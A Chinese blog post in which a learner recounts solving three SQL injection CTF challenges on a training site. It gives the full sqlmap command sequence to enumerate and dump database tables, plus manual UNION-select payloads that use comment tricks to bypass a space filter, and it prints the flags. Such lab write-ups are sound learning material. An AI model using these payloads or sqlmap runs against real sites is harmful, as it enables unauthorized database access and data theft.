• sql注入学习心得与sqlmap使用心得


    做题是最好的老师

    首先先来分享一下我用来练手的题目,实验吧中的简单的sql注入1,2,3

    不得不说,sql注入真是一个神奇的东西,至少我以前看起来一点头绪都没有的题目能入手了

    首先是简单的sql注入3(别问我为什么不是1)

    打开链接之后发现

    陷入沉思,这时候我决定使用sqlmap对他进行sql注入

    在终端输入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,然后就开始等他跑,当然跑的过程有点长,就不贴图了

    最终结果得到

    3个表,这可还行,然后我们打开web1看看里面有什么列

    python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

    emmmmm,熟悉的字眼,是flag!

    于是我们再进入列看看

    python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

    flag已经出现了,这时候我们只需要把它dump出来就好了

    python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1

    最终得到答案 flag{Y0u_@r3_5O_dAmn_90Od}

    当然,这样可能比较麻烦,所以第二题我就换了一种方法

    输入1发现,那我们再输入1 and 1 = 1

    报错了,emmmmm。于是看了一下别人的wp,原来报SQLi detected!,说明有防护;name: baloteli 说明过滤了“空格”

    所以我们先查看有哪些数据库
    1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

     好家伙,又是web1,那我们再看看有什么表

    1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

    找到了这个,那我们再看看里面有什么东西

    1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

    最后输入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

    答案就出来了flag{Y0u_@r3_5O_dAmn_90Od}

    最后我们来说一下简单的sql注入1

    当然我的做法和2一样,只不过看列的时候出现了一点问题

    于是我直接就进行了最后一步,希望能得到答案,当然最后还是运气好得到答案了

    flag{Y0u_@r3_5O_dAmn_90Od}

    希望有dalao能解答一下我最后遇到的问题,欢迎评论

  • 相关阅读:
    【开源】我和 JAP(JA Plus) 的故事
    justauth-spring-boot-starter V1.3.5 发布成功
    JustAuth 1.15.9 版发布,支持飞书、喜马拉雅、企业微信网页登录
    详细介绍如何自研一款"博客搬家"功能
    推荐一款自研的Java版开源博客系统OneBlog
    JavaScript常用方法
    Markdown 语法学习
    Sublime Text常用设置之个人配置
    webStorm常用设置之过滤文件夹
    HTTP详解
  • 原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/10666044.html
Copyright © 2020-2023  润新知